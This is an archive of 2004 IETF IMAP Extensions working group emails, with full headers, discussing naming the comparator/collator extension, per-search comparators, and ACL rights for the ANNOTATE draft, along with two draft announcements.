to owner-ietf-imapext@mail.imc.org using -f Received: from libertango.oryx.com (libertango.oryx.com [195.30.94.163]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PGDbgJ041792 for ; Tue, 25 May 2004 09:13:41 -0700 (PDT) (envelope-from arnt@gulbrandsen.priv.no) Message-Id: From: Arnt Gulbrandsen To: Cyrus Daboo Subject: Re: the i18n draft Cc: Ned Freed , IMAP Extensions WG References: <2500EE9F0D61560477DACCF4@diogenes> In-Reply-To: <2500EE9F0D61560477DACCF4@diogenes> Content-Type: text/plain; format=flowed MIME-Version: 1.0 Date: Tue, 25 May 2004 18:15:26 +0200 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Cyrus Daboo writes: > Isn't there supposed to be a registry of comparators/collators which > SIEVE and IMAP should reference? That registry is created by draft-newman-i18n-comparator, which is where I saw the name change (it was comparator in 00, collator in 01). Ned Freed has that draft now. Ned? > If so, it would be best to use the same terminology in the registry as > is used in the specs. Agreed. > Perhaps the registry could be described as a 'comparator/collator' > registry so use of 'comparator' in SIEVE and 'collator' in IMAP would > be OK. Or perhaps the registry should use the term that Sieve already uses. Arnt Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PFBGRP024211; Tue, 25 May 2004 08:11:16 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PFBGfm024210; Tue, 25 May 2004 08:11:16 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PFBFII024202 for ; Tue, 25 May 2004 08:11:15 -0700 (PDT) (envelope-from mrc@CAC.Washington.EDU) Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PFBDJG018706; Tue, 25 May 2004 08:11:13 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4PFBDwt001295; Tue, 25 May 2004 08:11:13 -0700 Date: Tue, 25 May 2004 08:11:13 -0700 (PDT) From: Mark Crispin To: Arnt Gulbrandsen cc: IMAP Extensions WG Subject: Re: the i18n draft In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Tue, 25 May 2004, Arnt Gulbrandsen wrote: > has any of you implemented the COMPARATOR extension yet? If not, what do you > think about renaming it COLLATOR? COLLATOR implies that it isn't used in SEARCH. Thus, I think that COMPARATOR is better. If the name is changed then the reference in the SORT document needs changing as well. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PF3qQJ022314; Tue, 25 May 2004 08:03:52 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PF3qkq022313; Tue, 25 May 2004 08:03:52 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PF3pNk022299 for ; Tue, 25 May 2004 08:03:52 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17046; Tue, 25 May 2004 11:03:52 -0400 (EDT) Message-Id: <200405251503.LAA17046@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-imapext@imc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-imapext-sort-17.txt Date: Tue, 25 May 2004 11:03:52 -0400 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF. Title : INTERNET MESSAGE ACCESS PROTOCOL - SORT AND THREAD EXTENSION Author(s) : M. Crispin, K. Murchison Filename : draft-ietf-imapext-sort-17.txt Pages : 0 Date : 2004-5-24 This document describes the base-level server-based sorting and threading extensions to the [IMAP] protocol. These extensions provide substantial performance improvements for IMAP clients which offer sorted and threaded views. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-imapext-sort-17.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-imapext-sort-17.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-imapext-sort-17.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-5-24153403.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-imapext-sort-17.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-imapext-sort-17.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-5-24153403.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PEsiXo019744; Tue, 25 May 2004 07:54:44 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PEsikk019743; Tue, 25 May 2004 07:54:44 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PEsdSa019714 for ; Tue, 25 May 2004 07:54:39 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from diogenes (diogenes.cyrusoft.com [63.163.82.25]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4PEpa1F003161 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 May 2004 10:51:36 -0400 Date: Tue, 25 May 2004 10:49:30 -0400 From: Cyrus Daboo To: Arnt Gulbrandsen , IMAP Extensions WG Subject: Re: the i18n draft Message-ID: <2500EE9F0D61560477DACCF4@diogenes> In-Reply-To: References: X-Mailer: Mulberry/3.1.4 (SunOS/SPARC) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Arnt, --On Tuesday, May 25, 2004 02:31:05 PM +0200 Arnt Gulbrandsen wrote: > has any of you implemented the COMPARATOR extension yet? If not, what do > you think about renaming it COLLATOR? > > Chris Newman changed "comparator" to "collator" in > draft-newman-i18n-comparator-01.txt, which the imapext-i18n draft > references. The name collator seems better and more descriptive to me, so > if noone's fond of the old name, I think I'll follow his change. > Isn't there supposed to be a registry of comparators/collators which SIEVE and IMAP should reference? If so, it would be best to use the same terminology in the registry as is used in the specs. Perhaps the registry could be described as a 'comparator/collator' registry so use of 'comparator' in SIEVE and 'collator' in IMAP would be OK. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PEjnP6017208; Tue, 25 May 2004 07:45:49 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PEjnvK017207; Tue, 25 May 2004 07:45:49 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PEjmdP017191 for ; Tue, 25 May 2004 07:45:49 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from diogenes (diogenes.cyrusoft.com [63.163.82.25]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4PEge1F003002 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 25 May 2004 10:42:40 -0400 Date: Tue, 25 May 2004 10:40:34 -0400 From: Cyrus Daboo To: Arnt Gulbrandsen cc: Mark Crispin , IMAP Extensions WG Subject: Re: draft-i18n and search/sort Message-ID: <7418E244DDE77F3B9B94EE0F@diogenes> In-Reply-To: <8NB+9uVoRWbiPnsc9ooSVQ.md5@libertango.oryx.com> References: <8NB+9uVoRWbiPnsc9ooSVQ.md5@libertango.oryx.com> X-Mailer: Mulberry/3.1.4 (SunOS/SPARC) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Arnt, --On Tuesday, May 25, 2004 02:30:58 PM +0200 Arnt Gulbrandsen wrote: >> Sometimes it is handy to choose between case-sensitive and >> case-insensitive searching on a case-by-case basis, so having a >> single comparator parameter to search to override the default for >> that search only would be useful. > > Would it be convenient enough that you'd implement that _only_ if the > comparator extension provided such an argument? Well the fall back would be to use the comparator command prior the the search to change the default, then switch it back. Obviously that adds round trips. To be honest with you I've not had much demand for a case-sensitive search option, and I'm not really sure what other on-the-fly comparator changes users would want. All I know is that in our case (and some other clients too) searching is a key part of the client-side filtering and as such there can be a lot of searches in a session as filter rules get triggered. If its likely that different comparators would get used then using the search argument would be better in terms of keeping round trips down. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PCTICs077578; Tue, 25 May 2004 05:29:18 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PCTIbr077576; Tue, 25 May 2004 05:29:18 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kalyani.oryx.com (kalyani.oryx.com [212.125.101.207]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PCTHs0077542 for ; Tue, 25 May 2004 05:29:17 -0700 (PDT) (envelope-from arnt@gulbrandsen.priv.no) Received: by kalyani.oryx.com (Postfix, from userid 1005) id DBE891BDE8A; Tue, 25 May 2004 14:29:15 +0200 (CEST) Received: from libertango.oryx.com (libertango.oryx.com [195.30.94.163]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by kalyani.oryx.com (Postfix) with ESMTP id 2C6081BDE81 for ; Tue, 25 May 2004 14:29:14 +0200 (CEST) Message-Id: <8NB+9uVoRWbiPnsc9ooSVQ.md5@libertango.oryx.com> From: Arnt Gulbrandsen To: Cyrus Daboo Subject: Re: draft-i18n and search/sort Cc: Mark Crispin , IMAP Extensions WG References: In-Reply-To: Content-Type: text/plain; format=flowed MIME-Version: 1.0 Date: Tue, 25 May 2004 14:30:58 +0200 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Cyrus Daboo writes: > Sometimes it is handy to choose between case-sensitive and > case-insensitive searching on a case-by-case basis, so having a > single comparator parameter to search to override the default for > that search only would be useful. Would it be convenient enough that you'd implement that _only_ if the comparator extension provided such an argument? Arnt Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PCTIcb077577; Tue, 25 May 2004 05:29:18 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4PCTIhW077573; Tue, 25 May 2004 05:29:18 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from kalyani.oryx.com (kalyani.oryx.com [212.125.101.207]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4PCTHaf077543 for ; Tue, 25 May 2004 05:29:17 -0700 (PDT) (envelope-from arnt@gulbrandsen.priv.no) Received: by kalyani.oryx.com (Postfix, from userid 1005) id EA7101BDE8D; Tue, 25 May 2004 14:29:15 +0200 (CEST) Received: from libertango.oryx.com (libertango.oryx.com [195.30.94.163]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by kalyani.oryx.com (Postfix) with ESMTP id 59BAA1BDE83 for ; Tue, 25 May 2004 14:29:14 +0200 (CEST) Message-Id: From: Arnt Gulbrandsen To: IMAP Extensions WG Subject: the i18n draft Content-Type: text/plain; format=flowed MIME-Version: 1.0 Date: Tue, 25 May 2004 14:31:05 +0200 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi, has any of you implemented the COMPARATOR extension yet? If not, what do you think about renaming it COLLATOR? Chris Newman changed "comparator" to "collator" in draft-newman-i18n-comparator-01.txt, which the imapext-i18n draft references. The name collator seems better and more descriptive to me, so if noone's fond of the old name, I think I'll follow his change. Arnt Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OJhN3g037769; Mon, 24 May 2004 12:43:23 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OJhNne037768; Mon, 24 May 2004 12:43:23 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OJhMeT037760 for ; Mon, 24 May 2004 12:43:23 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA25257; Mon, 24 May 2004 15:43:24 -0400 (EDT) Message-Id: <200405241943.PAA25257@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-imapext@imc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-imapext-sort-17.txt Date: Mon, 24 May 2004 15:43:24 -0400 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF. Title : INTERNET MESSAGE ACCESS PROTOCOL - SORT AND THREAD EXTENSION Author(s) : M. Crispin, K. Murchison Filename : draft-ietf-imapext-sort-17.txt Pages : 0 Date : 2004-5-24 This document describes the base-level server-based sorting and threading extensions to the [IMAP] protocol. These extensions provide substantial performance improvements for IMAP clients which offer sorted and threaded views. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-imapext-sort-17.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-imapext-sort-17.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-imapext-sort-17.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-5-24153403.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-imapext-sort-17.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-imapext-sort-17.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-5-24153403.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OIrWbH024106; Mon, 24 May 2004 11:53:32 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OIrW4l024105; Mon, 24 May 2004 11:53:32 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OIrURX024098 for ; Mon, 24 May 2004 11:53:31 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (internal) with ESMTPA; Mon, 24 May 2004 19:53:28 +0100 Message-ID: <40B244A7.2000101@isode.com> Date: Mon, 24 May 2004 19:53:27 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Timo Sirainen CC: IMAP Extensions WG , Lisa Dusseault Subject: Re: Issues on annotate-09 References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> In-Reply-To: Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Timo Sirainen wrote: > On 24.5.2004, at 00:27, Alexey Melnikov wrote: > >> I think there is a subtle issue here. If a mailbox was opened as >> read-only (for example the client used the SELECT command, but the >> user doesn't have ACL rights to store IMAP flags), this sentence says >> that the client is still able to set IMAP flags through ANNOTATE >> interface (as all IMAP flags are mapped to ANNOTATE entries). So >> effectively ANNOTATE can be used to circumvent access controls? I've >> also found the following text in section 1: > > It would be best if it was possible to separate > store-shared-imap-flags and store-private-imap-flags ACLs. > >> > A user can only store and fetch shared >> > annotations on messages in any mailbox that they can SELECT and >> which >> > opens READ-WRITE. If a client attempts to store or fetch a shared >> > annotation on a READ-ONLY mailbox, the server MUST respond with a NO >> > response. > > Why is fetching shared annotations in READ-ONLY mailbox prohibited? I > don't think it should be. Good point. Maybe we can use "W" right in order to be able to store shared annotations and "w" right in order to be able to store private annotations? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OIlBN6022433; Mon, 24 May 2004 11:47:11 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OIlBMQ022432; Mon, 24 May 2004 11:47:11 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OIl7rV022408 for ; Mon, 24 May 2004 11:47:10 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (internal) with ESMTPA; Mon, 24 May 2004 19:47:04 +0100 Message-ID: <40B24327.30804@isode.com> Date: Mon, 24 May 2004 19:47:03 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rob Siemborski CC: Timo Sirainen , IMAP Extensions WG , Lisa Dusseault Subject: Re: Issues on annotate-09 References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski wrote: > On Mon, 24 May 2004, Timo Sirainen wrote: > >> On 24.5.2004, at 00:27, Alexey Melnikov wrote: >> >>> I think there is a subtle issue here. If a mailbox was opened as >>> read-only (for example the client used the SELECT command, but the >>> user doesn't have ACL rights to store IMAP flags), this sentence >>> says that the client is still able to set IMAP flags through >>> ANNOTATE interface (as all IMAP flags are mapped to ANNOTATE >>> entries). So effectively ANNOTATE can be used to circumvent access >>> controls? I've also found the following text in section 1: >> >> It would be best if it was possible to separate >> store-shared-imap-flags and store-private-imap-flags ACLs.. > > Didn't we discuss the application of ACLs to ANNOTATE and ANNOTATEMORE > a while ago, and decide that it made the situation much more complex > than we wanted? We don't want to go down the road of ACAP, for sure... > > Maybe it was just in a message between myself and Cyrus... I vaguely remember this as well. However, the document should say that "t" right is required for setting private/shared /flags/\deleted and "s" right is required for /flags/\seen. We have to do this to be consistent with ACL/ACL2. Because there is currently no way of knowing if \Seen maps to /flags/\seen "value.shared" or "value.private", I think the same access right should be used for both. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OI4LkN010439; Mon, 24 May 2004 11:04:21 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OI4LnC010438; Mon, 24 May 2004 11:04:21 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OI4G4r010412 for ; Mon, 24 May 2004 11:04:17 -0700 (PDT) (envelope-from MRC@CAC.Washington.EDU) Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4OI48Wc007233; Mon, 24 May 2004 11:04:08 -0700 Received: from Kami-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4OI3rWU022659 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 24 May 2004 11:04:07 -0700 Date: Mon, 24 May 2004 11:03:51 -0700 (Pacific Daylight Time) From: Mark Crispin To: Cyrus Daboo cc: Arnt Gulbrandsen , IMAP Extensions WG Subject: Re: draft-i18n and search/sort In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Mon, 24 May 2004, Cyrus Daboo wrote: > Sometimes it is handy to choose between case-sensitive and case-insensitive > searching on a case-by-case basis, so having a single comparator parameter to > search to override the default for that search only would be useful. Allowing > a comparator for each search criterion seems excessive. If we ever get around > to adding search match-types (e.g. from SIEVE - :is, :contains, :matches, > :regex etc) then those would have to be added on a per-criterion basis. What do you perceive as the likelihood of any of this actually getting implemented -- and more importantly, implemented *right*? I am not optimistic; and history supports my pessimism. More to the point: I doubt very much that any client will ever be able to rely upon a server offering this level of functionality. Worse, many servers which claim to offer this functionality will turn out not to do so correctly, which will lead to perceptions that the client is broken. I would be much more sanguine if I didn't spend significant parts of my life arguing with people over the importance of getting basic aspects of protocols right. The typical script of the tragicomedy starts with the statement "Pine is broken because it doesn't work with the blurdybloop server. Outlook and Mozilla work fine." -- Mark -- "PETA kook" is a tautology. Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OHgxOw005807; Mon, 24 May 2004 10:42:59 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OHgx4i005806; Mon, 24 May 2004 10:42:59 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OHgwu8005791 for ; Mon, 24 May 2004 10:42:59 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from diogenes (diogenes.cyrusoft.com [63.163.82.25]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4OHe71F009125 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 24 May 2004 13:40:07 -0400 Date: Mon, 24 May 2004 13:37:53 -0400 From: Cyrus Daboo To: Lisa Dusseault , Alexey Melnikov cc: IMAP Extensions WG Subject: Re: Issues on annotate-09 Message-ID: In-Reply-To: <7042920B-ADA2-11D8-8F35-000A95B2BB72@osafoundation.org> References: <5F992D44-AAA1-11D8-8F35-000A95B2BB72@osafoundation.org> <40AE3980.9090007@isode.com> <4B14174B-AB5A-11D8-8F35-000A95B2BB72@osafoundation.org> <40B1172D.1090105@isode.com> <7042920B-ADA2-11D8-8F35-000A95B2BB72@osafoundation.org> X-Mailer: Mulberry/3.1.4 (SunOS/SPARC) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Lisa, --On Monday, May 24, 2004 09:50:18 AM -0700 Lisa Dusseault wrote: >> So, giving some basic usage guidelines when registering entries would >> be a good idea. > > It's worse than that, because a user may have different clients. So if > one client makes an attribute public, and another client doesn't show > whether the attribute is private or public, a user could get into trouble. One of the reasons for the .priv, .shared approach is that the nature of each is explicitly defined. Clients will always know the difference - there is no ambiguity. > However, registering properties as private or public will go a long way. > Does that mean that if the property "foobar" is registered as private, > that a client may not attempt to create a public value for it? That > would be a reasonable safeguard -- but in any case, the framework also > needs to explain what servers do when a property is registered one way > and used another way, or whether that's even possible to express. If a > property is registered as private, then there may not need to be a > private/shared syntax for setting or getting the property. > Registering properties as private or shared is a non-starter in my opinion. Consider what a server would have to do in a case like that: the server would have to have some internal table tracking the private/shared status of each property (as defined in the registry) so that it can determine whether the current user can access that property. It would be impossible to keep the server up to date with the registry. If you wanted to allow something like that, the best solution would be to have a 'shared' attribute for each property. If that is set to 'true' then the property is shared, if set to 'false' or non-existent, then it is private. Servers can then use that attribute to determine the access for the current user. The downside to this is that it relies on the client to make sure that the attribute is set correctly for the type of access the user wants to allow. Again .priv/.shared avoids that problem because the access is explicit for each value. Plus I think adding a 'shared' attribute will naturally lead to having full blown ACLs attributes on each value - and that will lead us down the ACAP path to oblivion! -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4OHPmas002432; Mon, 24 May 2004 10:25:48 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4OHPmgm002431; Mon, 24 May 2004 10:25:48 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set 